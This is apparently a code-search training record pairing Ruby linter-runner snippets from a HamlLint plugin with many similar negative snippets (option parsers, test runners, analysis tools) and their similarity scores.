"def report\n ktlint_report_file_complete = \"#{Dir.pwd}/#{ktlint_report_file}\"\n detekt_report_file_complete= \"#{Dir.pwd}/#{detekt_report_file}\"\n\n check_file_integrity(ktlint_report_file_complete)\n check_file_integrity(detekt_report_file_complete)\n\n ktlint_issues = read_issues_from_report(ktlint_report_file)\n detekt_issues = read_issues_from_report(detekt_report_file)\n\n report_issues(ktlint_issues)\n report_issues(detekt_issues)\n end"
] | [
"0.677621",
"0.65861124",
"0.61029667",
"0.6087162",
"0.60562736",
"0.5987778",
"0.59489644",
"0.5836281",
"0.5832875",
"0.5822366",
"0.5787985",
"0.570662",
"0.56942123",
"0.56863564",
"0.5663181",
"0.5639901",
"0.5637486",
"0.5603447",
"0.5535068",
"0.55140877",
"0.5497244",
"0.549561",
"0.5485226",
"0.5458833",
"0.5448305",
"0.54335254",
"0.5431094",
"0.54211587",
"0.54131854",
"0.5408057",
"0.5390162",
"0.53898823",
"0.5369142",
"0.53160876",
"0.53113717",
"0.53100884",
"0.53051776",
"0.53022254",
"0.53002995",
"0.52986485",
"0.5282641",
"0.52781874",
"0.52746993",
"0.52745795",
"0.5261239",
"0.5238656",
"0.523746",
"0.5236317",
"0.5235642",
"0.5228872",
"0.5227165",
"0.5220851",
"0.521969",
"0.52128077",
"0.5191295",
"0.51840866",
"0.5165737",
"0.5164766",
"0.51585764",
"0.5155336",
"0.5147924",
"0.51477015",
"0.5137462",
"0.51272523",
"0.5114923",
"0.51082635",
"0.50967264",
"0.5089614",
"0.5086412",
"0.5079006",
"0.5079006",
"0.5071282",
"0.5065889",
"0.5062604",
"0.5062114",
"0.5061921",
"0.5057718",
"0.50497305",
"0.5049377",
"0.5046348",
"0.50453913",
"0.50396746",
"0.50370246",
"0.50352687",
"0.50343764",
"0.5033579",
"0.50293964",
"0.502469",
"0.5022169",
"0.50219697",
"0.50174886",
"0.5016023",
"0.5014123",
"0.5005047",
"0.5004917",
"0.4994359",
"0.4994359",
"0.49936822",
"0.49886057",
"0.4986972"
] | 0.80870014 | 0 |
The options to pass to the HamlLint runner | def run_options
{
config: linter_config,
excluded_linters: [],
files: [full_path],
included_linters: linter_config['linters'].keys,
reporter: reporter
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def runner\n @runner ||= ::HamlLint::Runner.new\n end",
"def parse_yardopts_options(*args); end",
"def options\n original_options = super\n defaults = Thor::CoreExt::HashWithIndifferentAccess.new(\n {\n width: 72,\n count: 200,\n },\n )\n\n config_path = File.expand_path(ENV.fetch('AUGURY_CFG_PATH', '~/.augury.yml'))\n if File.file?(config_path)\n config_options = Thor::CoreExt::HashWithIndifferentAccess.new(YAML.load_file(config_path) || {})\n defaults = defaults.merge(config_options)\n end\n\n # Enforce implied options\n defaults[:links] = true if original_options[:remove_links] || defaults[:remove_links]\n\n Thor::CoreExt::HashWithIndifferentAccess.new(defaults.merge(original_options))\n end",
"def options() end",
"def init_options\n @since = \"\"\n @format = :markdown\n ARGV.each do |arg|\n if arg.start_with?(\"--since=\")\n @since = arg.dup\n elsif arg == \"--html\"\n @format = :html\n end\n end\nend",
"def options\n [\n ['--with-lcov', 'Enable Code Coverage support using lcov.'],\n ['--with-check', 'Run the test suite during install ~30sec']\n ]\n end",
"def checkstyle_options\n return \"\" unless options[:checkstyle]\n\n cmd = \" --require rubocop/formatter/checkstyle_formatter\"\n cmd += \" --format RuboCop::Formatter::CheckstyleFormatter\"\n cmd + \" --out #{output_folder_name}/checkstyle.xml\"\n end",
"def program_options\n [\n ['--format', '-f FORMAT', 'Format as html or text(default)',\n lambda { |value| options.format = value }\n ],\n ['--coffee', '-c', 'Show code as coffeescript',\n lambda { |value| options.coffee = true }\n ]\n ]\nend",
"def options\n @runner.options\n end",
"def options; @opts end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def setup_options\n @parser.banner = BANNER\n\n @parser.on('-V', '--version', 'display version and exit') { show_version }\n @parser.on('-h', '--help', 'display help and exit') { show_help }\n @parser.on('-f', '--files=[file1.txt file2.txt ...]', Array, 'text files to read') { |o| @options.files = o }\n @parser.on('-n', '--number=NUM', Integer, 'number of results to show [default = 100]') do |n|\n @options.number = n\n end\n @parser.on('-v', '--verbose', 'verbose output') { @options.verbose = true }\n end",
"def options(opt); end",
"def options(opt); end",
"def yardopts_options(opts); end",
"def verify_options_hook=(_arg0); end",
"def options; [] end",
"def initialize(options = {})\n @appname = File.basename($0)\n @description = []\n @examples = []\n @options = {}\n @parser = OptionParser.new do |opts|\n opts.summary_width = 10\n opts.banner = ''\n opts.on('-h', '--help', 'Display this help text.') do\n @help = true\n end\n end\n self.description = options[:description] if options[:description]\n self.examples = options[:examples] if options[:examples]\n end",
"def html_options; @html_opts end",
"def setup_options(rdoc_options)\n\n options = {\n :stylesheet_url => nil,\n #:index_attributes => false,\n #:ancestor_lists => false,\n #:list_standard_ancestors => false,\n :see_standard_ancestors => false,\n }\n\n rdoc_options.extend Options # 1. extend the existing object\n rdoc_options.class.include Options # 2. make sure #babel_options will be there on #dup'ed objects\n rdoc_options.babel_options = options\n\n opt = rdoc_options.option_parser\n\n opt.separator \"Babel options:\"\n opt.separator nil\n\n opt.on('--style=URL', '-s',\n 'Specifies the URL of a stylesheet',\n 'that the template should use.',\n 'The default is \"rdoc.css\".') do |value|\n options[:stylesheet_url] = value\n end\n opt.separator nil\n\n=begin\n opt.on('--index-attributes',\n 'Include attributes in the method index.',\n 'By default, only methods are included.') do |value|\n options[:index_attributes] = true\n end\n opt.separator nil\n\n opt.on('--ancestor-lists',\n 'Add lists of ancestor methods, attributes,',\n 'aliases and constants in the documentation',\n 'of a class/module.') do |value|\n options[:ancestor_lists] = true\n end\n opt.separator nil\n\n opt.on('--list-standard-ancestors',\n 'Include Kernel/Object methods',\n 'in ancestor methods.') do |value|\n options[:list_standard_ancestors] = true\n end\n opt.separator nil\n=end\n\n opt.on('--see-standard-ancestors',\n 'Add links to Kernel/Object',\n 'ancestor methods.') do |value|\n options[:see_standard_ancestors] = true\n end\n opt.separator nil\n\n end",
"def options_parser\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: #{File.basename($0)} [options...]\"\n\n opts.on '-d', '--dir DIR',\n 'directory of yml files to process' do |dirname|\n @options[:dir] = dirname\n end\n\n opts.on '-f', '--file FILE',\n 'single file to process' do |filename|\n @options[:file] = filename\n end\n\n opts.on '--db DATABASE_NAME',\n 'sqlite3 database to push data to' do |dbname|\n @options[:db] = dbname\n end\n\n opts.on '-h', '--help' do\n @options[:help] = true\n end\n end\n optparse\nend",
"def verify_options_hook; end",
"def initialize\n @option_parser = OptionParser.new do |opt|\n opt.banner = banner\n opt.summary_indent = Shebang::Config[:indent]\n\n # Process each help topic\n help_topics.each do |title, text|\n opt.separator \"#{Shebang::Config[:heading]}#{\n Shebang::Config[:indent]}#{text}\" % title\n end\n\n opt.separator \"#{Shebang::Config[:heading]}\" % 'Options'\n\n # Add all the options\n options.each do |option|\n opt.on(*option.option_parser) do |value|\n option.value = value\n\n # Run a method?\n if !option.options[:method].nil? \\\n and respond_to?(option.options[:method])\n # Pass the value to the method?\n if self.class.instance_method(option.options[:method]).arity != 0\n send(option.options[:method], value)\n else\n send(option.options[:method])\n end\n end\n end\n end\n end\n end",
"def parse_options!(args)\n @options = {}\n opts = ::OptionParser.new do |opts|\n opts.banner = \"Usage: teamocil [options] <layout>\n\n Options:\n \"\n opts.on(\"--here\", \"Set up the first window in the current window\") do\n @options[:here] = true\n end\n\n opts.on(\"--edit\", \"Edit the YAML layout file instead of using it\") do\n @options[:edit] = true\n end\n\n opts.on(\"--layout [LAYOUT]\", \"Use a specific layout file, instead of `~/.teamocil/<layout>.yml`\") do |layout|\n @options[:layout] = layout\n end\n\n opts.on(\"--list\", \"List all available layouts in `~/.teamocil/`\") do\n @options[:list] = true\n end\n\n opts.on(\"--show\", \"Show the content of the layout file instead of executing it\") do\n @options[:show] = true\n end\n\n end\n opts.parse! args\n end",
"def usage(options)\n puts 'Usage : '\n puts \"-r --rakefile RakefileName Load the Rakefile that discribe the workflow. Value: #{options[:conf]}\"\n exit\nend",
"def help(*args)\n if args.count == 0\n test_runner = TestRunner.new\n set_options(test_runner)\n message_tidy = \"version #{test_runner.tidy.version}\"\n message_cases = File.exists?(test_runner.dir_cases) ? '' : '(directory not found; test will not run)'\n message_results = File.exists?(test_runner.dir_results) ? '(will try to use)' : '(will try to create)'\n puts <<-HEREDOC\n\nThis script (#{File.basename($0)}) is a Tidy regression testing script that can execute\nevery test in the suite, or optionally individual files. It also has the ability\nto generate new benchmark files into the suite.\n\nDefault Locations:\n------------------\n Tidy: #{ test_runner.tidy.path }, #{ message_tidy }\n Cases: #{ test_runner.dir_cases } #{ message_cases }\n Results: #{ test_runner.dir_results } #{ message_results }\n \nYou can also run this help command with the --tidy, --cases, and/or --results\noptions to test them, and check the results in the table above.\n\nComplete Help:\n--------------\n HEREDOC\n end\n\n super\n end",
"def yardopts\n IO.read(options_file).shell_split\n rescue Errno::ENOENT\n []\n end",
"def options\n opts = { \"root.dir\" => nil,\n \"fig.show\" => \"hold\",\n \"fig.path\" => \"#{@config['destination']}figures/\",\n \"fig.width\" => 10,\n \"fig.height\" => 7,\n \"dev\" => \"svg\",\n \"warning\" => false }.merge(@config['knitr'])\n opts.map {|k,v| \"#{k}=#{v}\" }.join(\" \")\n end",
"def set_valid_options(*opts)\n Array(opts).each do |opt|\n CookbookSource.add_valid_option(opt)\n end\n end",
"def template_options(parser)\n parser.separator(\" \")\n parser.separator(\"OUTPUT OPTIONS: (use varies with format)\")\n parser.on('--format', '-f FORMAT', \"output format\") do |format|\n options[:format] = format.to_sym\n end\n parser.on('--style <URI>', \"provide a stylesheet URI (css or xsl) for HTML or XML format\") do |uri|\n options[:stylesheet] = uri\n end\n parser.on('--title', '-t TITLE', \"document title\") do |string|\n options[:title] = string\n end\n parser.on('--summarize', '-s', \"produce summary output\") do\n options[:extra] = false\n end\n parser.on('--id', \"include revision id\") do\n options[:revision] = true\n end\n parser.on('--level', '-l NUMBER', \"lowest level of commit to display [0]\") do |num|\n options[:level] = num.to_i\n end\n #parser.on('--typed', \"catagorize by commit type\") do\n # typed = true\n #end\n parser\n end",
"def parse_options\n @opts = Slop.parse do |o| \n o.string '-f1', '--file1', 'First source file'\n o.string '-f2', '--file2', 'Second source file'\n o.on '-v', '--version' do\n puts Slop::VERSION\n end\n end\n rescue Exception => e\n raise\n end",
"def options(opt)\n end",
"def options(*args, &block); end",
"def parse_options; end",
"def parse_options; end",
"def validate_options; end",
"def setup(options = {}); end",
"def set_opts(opts)\n opts.banner = <<END\nUsage: sass-convert [options] [INPUT] [OUTPUT]\n\nDescription:\n Converts between CSS, indented syntax, and SCSS files. For example,\n this can convert from the indented syntax to SCSS, or from CSS to\n SCSS (adding appropriate nesting).\nEND\n\n common_options(opts)\n style(opts)\n input_and_output(opts)\n miscellaneous(opts)\n end",
"def runner_options\n {\n color: false,\n progress: false\n }.merge(@options)\n end",
"def verify_markup_options; end"
] | [
"0.6638811",
"0.59874463",
"0.5959365",
"0.59330416",
"0.5916479",
"0.5874756",
"0.58663785",
"0.5844878",
"0.58249307",
"0.57829326",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5756373",
"0.5696824",
"0.5689817",
"0.5689771",
"0.56888103",
"0.56872547",
"0.56668717",
"0.5664479",
"0.5633248",
"0.5630915",
"0.5606574",
"0.56047904",
"0.5562089",
"0.5559272",
"0.5544431",
"0.55208784",
"0.5500355",
"0.54962087",
"0.54701465",
"0.5468386",
"0.5467472",
"0.54607904",
"0.54603904",
"0.5459742",
"0.5459742",
"0.5444852",
"0.5443217",
"0.5442134",
"0.5433003",
"0.54009205"
] | 0.58413553 | 8 |
The runner to use for analyzing the source file | def runner
@runner ||= ::HamlLint::Runner.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def analyze\n Core::Runner.base_path = @path\n Core::Runner.config_path = @options['config']\n @runner = Core::Runner.new\n\n analyze_source_codes\n analyze_vcs\n end",
"def runner; end",
"def run\n files_to_inspect.each do |path|\n SourceFile.new(\n linter_config: linter_config,\n io: io,\n path: path,\n root: root\n ).process\n end\n end",
"def runner\n # code runner here\nend",
"def runner\n # code runner here\nend",
"def runner\n # code runner here\nend",
"def runner\n # code runner here\nend",
"def runner\n # code runner here\nend",
"def runner\n # code runner here\nend",
"def run\n # Like RuboCop itself, we'll lazy load so the task\n # doesn't substantially impact Rakefile load time.\n require 'ruumba'\n\n analyzer = Ruumba::Analyzer.new\n puts 'Running Ruumba...'\n\n analyzer.run @dir\n end",
"def runner(&blk); end",
"def runner(&blk); end",
"def runner\n\nend",
"def run!\n say @file_path\n report_results Benchmark.measure { @evaluator << @test_file }\n report_errors\n end",
"def auto_analyze; end",
"def runner\n \nend",
"def test() \n @runner.prepareForFile(@filename)\n testIfAvailable(codeFilename())\n end",
"def runner\n @runner ||= (\n Runner.new(\n :script => @script,\n :fresh => @fresh,\n :watch => @watch\n ) \n )\n end",
"def run(*args)\n files = args.select { |arg| arg !~ /^-/ }\n\n files = parse_files(files)\n examples = parse_examples(files)\n\n add_pwd_to_path\n\n generate_tests(examples)\n run_tests\n end",
"def auto_analyze=(_arg0); end",
"def run\r\n #check input format, either a file or standard input\r\n if @inputFile == STDIN\r\n f = STDIN\r\n else\r\n f = File.open(@inputFile, \"r\")\r\n end\r\n #flag to mark whether read the first instruction and be used to check lines before any instruction\r\n mark = false\r\n #process instructiions line by line\r\n f.each do |line|\r\n #skip comments\r\n next if line =~ /^\\/\\//\r\n #skip an empty line before any instruction\r\n next if mark == false and line =~ /^[\\s]*$/\r\n opts = format_input(line)\r\n mark = true if mark == false\r\n out_put = @tm.read(opts)\r\n unless out_put.nil?\r\n if @outputFile == STDOUT or @outputFile.nil?\r\n STDOUT.puts out_put\r\n else\r\n File.open(@outputFile, \"a\") do |log|\r\n log.puts out_put\r\n end\r\n end\r\n end\r\n end\r\n #add a time step for TM\r\n out_put = @tm.read([[\"advance\"]])\r\n unless out_put.nil?\r\n if @outputFile == STDOUT or @outputFile.nil?\r\n STDOUT.puts out_put\r\n else\r\n File.open(@outputFile, \"a\") do |log|\r\n log.puts out_put\r\n end\r\n end\r\n end\r\n\r\n f.close\r\n\r\n end",
"def run_tests(&block)\n\n @sources.each do |source|\n result = test_source(File.absolute_path(source))\n block.call({ :source => source, :result => result })\n end\n\n end",
"def run\n self.get_params\n @target ||= self.get_target_file_name\n @top ||= self.get_criteria\n\n unless @top == nil\n result = true\n if @target.kind_of? String\n puts \"Processing file: #{@target}\"\n lines = Util.get_file_as_array( @target )\n @top.run lines\n result = @top.result\n else\n @target.each do |file|\n print \"Processing file: #{file}... \"\n lines = Util.get_file_as_array( file )\n @top.reset_rule_results\n @top.run lines\n result = false unless @top.result == true\n if @top.result\n puts \"[Pass]\"\n else\n puts \"[Fail]\"\n end\n end\n end\n\n if result == true\n puts \"PASS\"\n else\n puts \"FAIL\"\n end\n else\n puts \"Error loading verification criteria from: #{@options.criteria_file}\"\n end\n end",
"def run\n test_files.each do |file|\n eval File.read(file)\n end\n\n results = []\n @tests.each_pair do |name, test|\n results << test.call(@config)\n end\n results.reject!(&:nil?)\n results.reject!(&:empty?)\n results.flatten!\n results\n end",
"def run!\n options = @args.options\n input_files = Dir.glob(options[:input_files_pattern])\n loader = Trapeze::Loader.new(*input_files)\n unless options[:quiet]\n loader.exceptions.each do |filename, exception|\n $stderr.puts \"#{exception.message} in #{filename}\"\n end\n end\n probe = Trapeze::Probe.new(loader)\n generator = Trapeze::SuiteGenerators::TestUnit.new(:input_files_pattern => options[:input_files_pattern],\n :output_dir => options[:output_dir],\n :probe => probe)\n generator.generate!\n end",
"def run(filename, options) end",
"def run(source_code, filename: nil)\n return if source_code.empty?\n @results += process_ast(source_code, yield, filename: filename)\n end",
"def run_analysis\n prepare_pml\n unless analysis_entry\n die(\"Analysis entry '#{options.analysis_entry}' not found (check for typos, inlined functions or code not reachable from program entry)\")\n end\n options.use_trace_facts = true if options.compare_trace_facts\n options.trace_analysis = true if options.use_trace_facts\n trace_analysis if options.trace_analysis\n sweet_analysis if options.enable_sweet\n transform_down([\"llvm.bc\"],\"llvm\")\n transform_down([\"user.bc\"],\"user\")\n\n flow_srcs = [\"llvm\", \"user\"]\n wcet_analysis(flow_srcs) if options.compare_trace_facts\n\n flow_srcs.push(\"trace\") if options.use_trace_facts\n flow_srcs.push(\"sweet\") if options.enable_sweet\n\n # FIXME: check if this is necessary (CFRG testsuite)\n flow_srcs.push(\"trace.support\") if options.enable_sweet && options.trace_analysis\n\n # TODO we should (also?) add a 'configuration' name to the TimingEntry that refers to an analysis-configuration name\n options.timing_output = [options.timing_output,'trace'].compact.join('/') if options.use_trace_facts\n\n wcet_analysis(flow_srcs)\n report(additional_report_info)\n pml\n end",
"def runner\n puts \"runner\"\n \nend",
"def run\n testable = Parser.new(@argv).parse\n Executor.new(testable).execute\n end",
"def run\n extractor = ::SourceAnnotationExtractor.new(tags.join('|'))\n extractor.find(dirs)\n end",
"def runner(&ruby_block)\n @runner_proc = ruby_block\n end",
"def run\n start = Time.now\n log \"[0/3] Generating build\"\n generate_build\n\n log \"[1/3] Building\"\n filename = build\n\n log \"[2/3] Parsing\"\n\n @config[:parser].parse(filename)\n log \"[3/3] Complete\"\n\n Time.now - start\n end",
"def action_runner\n BawWorkers::Jobs::Analysis::Runner.new(\n BawWorkers::Config.original_audio_helper,\n BawWorkers::Config.analysis_cache_helper,\n BawWorkers::Config.logger_worker,\n BawWorkers::Config.worker_top_dir,\n BawWorkers::Config.programs_dir\n )\n end",
"def run\n src = ARGF.read\n exit 2 unless src\n\n interpreter = Expectr::Interpreter.new(src.untaint)\n interpreter.filename = $FILENAME\n interpreter.run\n end",
"def run!\n test_result = Tester::Runner.run(file)\n if test_result.stdout.to_s.strip.empty?\n new_reason = reason\n else\n new_reason = test_result.stdout \n end\n # Capture the exit status, and map to a result object\n result = case test_result.exitstatus\n when 0; Result::Pass\n when 1; Result::Fail\n when 2; Result::Skip\n when nil; Result::NoResult\n else\n new_reason = (test_result.stderr.strip + \"\\n\" + test_result.stdout.strip).strip\n Result::Error\n end\n Tester::Test.new(file, base, result, new_reason, stack)\n end",
"def analyze\n # First, update build if necessary\n build\n Dir.chdir @build_dir\n spawn_cmd \"run-clang-tidy -p '#{@proj_dir}/#{@build_dir}' -header-filter='\\.hpp'\"\n Dir.chdir @proj_dir\n end",
"def run\n setup_options\n\n if parse_options?\n\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n show_effective_options if @options.verbose\n\n # do_work(WordAnalyzer)\n\n # example alternate analyzer implementation\n do_work(AdaptiveWordAnalyzer)\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n 0 # happy shell exit code\n else\n show_help\n end\n end",
"def define_run_task\n desc @run_description\n task 'run' do\n target_sha = ENV['TARGET_SHA']\n ts = TTNT::TestSelector.new(repo, target_sha, expanded_file_list)\n tests = ts.select_tests!\n\n if tests.empty?\n STDERR.puts 'No test selected.'\n else\n if ENV['ISOLATED']\n tests.each do |test|\n args = \"#{ruby_opts_string} #{test} #{option_list}\"\n run_ruby args\n break if @failed && ENV['FAIL_FAST']\n end\n else\n args =\n \"#{ruby_opts_string} #{run_code} \" +\n \"#{tests.to_a.join(' ')} #{option_list}\"\n run_ruby args\n end\n end\n end\n end",
"def runner(args)\n runner = :default if args.first.to_s == 'help'\n runner ||= opts[:runner] || :default\n Runner[runner].new(ctx, args)\n end",
"def source(filename); end",
"def scan\n source.each.with_index do |line, index|\n loc_num = index + 1\n\n line_detection = AxR.app.layer_names.detect { |layer| line.include?(layer) }\n line_detection = check_space_before(line, line_detection)\n line_detection = nil if context && module_definition?(line, line_detection)\n line_detection = nil if commented?(line, line_detection)\n context_detection = AxR.app.layer_names.detect { |layer| module_definition?(line, layer) }\n\n next unless context_detection || line_detection\n\n detect_context(context_detection, line, loc_num) if context_detection && !context\n detect_dependency(line_detection, line, loc_num)\n detect_warning(line_detection, line, loc_num) if context && line_detection\n end\n\n self\n end",
"def run\n setup\n fuzzing_loop\n end",
"def runner\n Runner.new(http_adapter )\n end",
"def run(_path)\n return instance_eval(File.read(_path)) if File.extname(_path) == '.rb'\n _source = Heist.parse(File.read(_path))\n _scope = FileScope.new(self, _path)\n _source.eval(_scope)\n end",
"def post_analyze!\n contents = File.open(self.name, 'r').readlines\n exelines = 0\n contents.each_with_index do |line, num|\n sline = line.strip\n \n case sline\n when '', /^#/\n lines << num + 1\n when /^\\s*(?:end|\\})\\s*(?:#.*)?$/, /^(public|private|protected)/,\n /^(?:begin\\s*(?:#.*)?|ensure\\s*(?:#.*)?|else\\s*(?:#.*)?)$/,\n /^(?:rescue)/, /^case\\s*(?:#.*)?$/, /^(\\)|\\]|\\})(?:#.*)?$/\n lines << num + 1\n exelines += 1\n else\n exelines += 1\n end\n \n end\n \n @coverage_percent = (exelines.to_f / contents.size) * 100.0\n end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def eval_file; end",
"def run_program_with runner\n @@runner_symbol = runner\n end",
"def run(*args)\n parse_arguments(*args)\n\n if use_cache\n Registry.load!\n elsif parse\n YARD.parse(files, excluded)\n Registry.save(use_cache) if save_yardoc\n end\n\n print_statistics\n print_undocumented_objects\n\n abort if fail_on_warning && log.warned\n end",
"def run\n print_banner\n @test_plan.each do |plan|\n found_nodes = nodes(plan)\n if found_nodes\n found_nodes.each { |node| execute_plan_tests(node, plan) }\n end\n end\n exit @ret_code\n end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def start_run; end",
"def run!\n # Validate paths\n validate_paths!\n \n # Extract mockup\n copy_source_path_to_build_path!\n \n validate_stack!\n \n # Run stack\n run_stack!\n \n # Run finalizers\n run_finalizers!\n \n # Cleanup\n cleanup! if self.config[:cleanup_build]\n \n end",
"def running_test_case; end",
"def run\n @options[:hmes_frags] = File.expand_path @options[:hmes_frags]\n @options[:bfr_frags] = File.expand_path @options[:bfr_frags]\n analysis = Implementer.new(@options)\n analysis.run\n end",
"def run\n # TODO: include a parse step here and remove duplicate parsing code from\n # individual commands\n execute\n end",
"def initialize(target_groups, target_priority, options = {})\n init_start_time = Time.now\n # this is the directory we'll recursively index for candidate tests\n @dir_to_index = File.expand_path(File.dirname(__FILE__) + '/../../tests/' + $test_module_path)\n @groups_not_to_run = [\"deprecated\"]\n @framework_utils = FrameworkUtils.new\n \n # check markers.\n @groups = target_groups.split(/[,\\+]/).collect { |group| group.downcase.strip }\n \n # and initialize some other containers we'll be using to store various values during indexing\n init_containers(target_priority)\n \n # now find all of the test files in specified directory\n test_file_map = create_test_file_map()\n \n # build a hash of test files => groups (don't include the tests which are restricted from the current environment)\n test_file_to_group(test_file_map, false)\n \n # display associated tcid at the end of each test script file\n display_test_ids()\n \n # get expected test count\n @expected_test_count = @framework_utils.get_test_count(@files_to_run)\n \n init_end_time = Time.now\n puts \"Time taken for analysis by test runner: #{(init_end_time - init_start_time)*1000}\"\n \n if ! @duplicate_class_files.empty? and $find_duplicate_classes == \"true\"\n puts \"These files has the duplicate class in the repository\", @duplicate_class_files\n @duplicate_class_files.each do |f|\n if @files_to_run.include? f\n raise \" ******** Terminating the execution since file: #{f} has the duplicate class ***************\"\n end\n end\n end\n unless options[:dry_run] == 'true'\n MultiThreadedTestRunner.new($max_concurrent_tests, @files_to_run, $results_dir, :xml)\n end\n \n end",
"def measure_code(model,runner)\n measure_folder = \"#{File.dirname(__FILE__)}/\"\n baseline_spreadsheet = \"#{File.dirname(__FILE__)}/baseline.csv\"\n #Note: place output folder locally to run faster! (e.g. your C drive)\n output_folder = \"#{File.dirname(__FILE__)}/tests/output\"\n create_models = true\n simulate_models = true\n create_annual_outputs = true\n create_hourly_outputs = true\n #This creates the measures object and collects all the csv information for the\n # measure_id variant.\n csv_measures = BTAP::Measures::CSV_OS_Measures.new(\n baseline_spreadsheet,\n measure_folder#script root folder where all the csv relative paths are used.\n )\n csv_measures.create_cold_lake_vintages(output_folder) unless create_models == false\n BTAP::SimManager::simulate_all_files_in_folder(output_folder) unless simulate_models == false\n BTAP::Reporting::get_all_annual_results_from_runmanger(output_folder) unless create_annual_outputs == false\n #convert eso to csv then create terminus file.\n BTAP::FileIO::convert_all_eso_to_csv(output_folder, output_folder).each {|csvfile| BTAP::FileIO::terminus_hourly_output(csvfile)} unless create_hourly_outputs == false\n\n end",
"def runs; end",
"def run_analysis(ast, vm, report)\n configuration.analysis_classes.each do |const|\n instance = const.new(:vm => vm, :report => report)\n instance.iterate(ast)\n end\n end",
"def src!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 60)\n # - - - - label initialization - - - -\n file = nil\n line = nil\n\n\n \n # - - - - main rule block - - - -\n # at line 604:7: 'src' ' ' file= ACTION_STRING_LITERAL ' ' line= INT\n match(\"src\")\n match(?\\s)\n file_start_1006 = self.character_index\n action_string_literal!\n file = create_token do |t|\n t.input = @input\n t.type = ANTLR3::INVALID_TOKEN_TYPE\n t.channel = ANTLR3::DEFAULT_CHANNEL\n t.start = file_start_1006\n t.stop = self.character_index - 1\n end\n match(?\\s)\n line_start_1012 = self.character_index\n int!\n line = create_token do |t|\n t.input = @input\n t.type = ANTLR3::INVALID_TOKEN_TYPE\n t.channel = ANTLR3::DEFAULT_CHANNEL\n t.start = line_start_1012\n t.stop = self.character_index - 1\n end\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 60)\n\n end",
"def run(_); end",
"def run(_); end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def source() end",
"def run\n end",
"def run\n end",
"def run() end",
"def runner_for( options )\n Runner.new( self, options )\n end",
"def run_it\n run_through_directory\n file_array_parser\n remove_initial_and_format_change\n array_to_hash\n final_name_info\n create_goal_file\nend",
"def run(dir = ARGV)\n fq_dir = Pathname.new(File.expand_path(dir.first))\n if @options[:tmp_folder]\n tmp = Pathname.new(File.expand_path(@options[:tmp_folder]))\n FileUtils.rm_rf(tmp)\n else\n tmp = Pathname.new(\"#{fq_dir}/ruumba_tmp_#{SecureRandom.hex[0..3]}/\")\n end\n\n Dir[\"#{fq_dir}/**/*.erb\"].each do |f|\n n = tmp + Pathname.new(f).relative_path_from(fq_dir)\n FileUtils.mkdir_p(File.dirname(n))\n\n File.open(\"#{n}.rb\", 'w+') do |file|\n code = extract f\n file.write code\n end\n end\n\n if @options && @options[:arguments]\n args = @options[:arguments].join(' ')\n else\n args = ''\n end\n\n if !@options[:tmp_folder]\n FileUtils.rm_rf(tmp)\n end\n\n system(\"rubocop #{args} #{tmp}\")\n end",
"def inject_tm_harness( src )\n File.open(src, 'a') do |f|\n f.puts \"#{harnessXXX()}\"\n end \n end",
"def run\n parse_options\n Calamum::Config.apply(config)\n @definition = Calamum::DocParser.new(load_source)\n @definition.load_resources\n Calamum::DocGenerator.init_base_dir\n process_index\n\n if config[:template] == 'twitter'\n process_pages\n process_section(\"overview\", @definition.get_description)\n process_section(\"authentication\", @definition.get_authentication)\n process_errors\n end\n rescue => ex\n puts_error ex.message\n end",
"def build!\n test_git!\n\n file_list = Dir.glob(\"#{@source}*\").sort # Pull the file list before creating the target directory\n\n setup_target\n\n add_runner\n\n file_list.each do |infile_name|\n rewrite_animation_frame infile_name\n create_commit infile_name\n end\n end",
"def analize!\n SpinningCursor.run do\n banner \"Analyzing\".yellow\n type :dots\n \n action do\n read_configs!\n load_config!\n load_target_constants!\n load_against_constants!\n match!\n send_out!\n end\n end\n end"
] | [
"0.7367677",
"0.72162795",
"0.7002248",
"0.6951728",
"0.6951682",
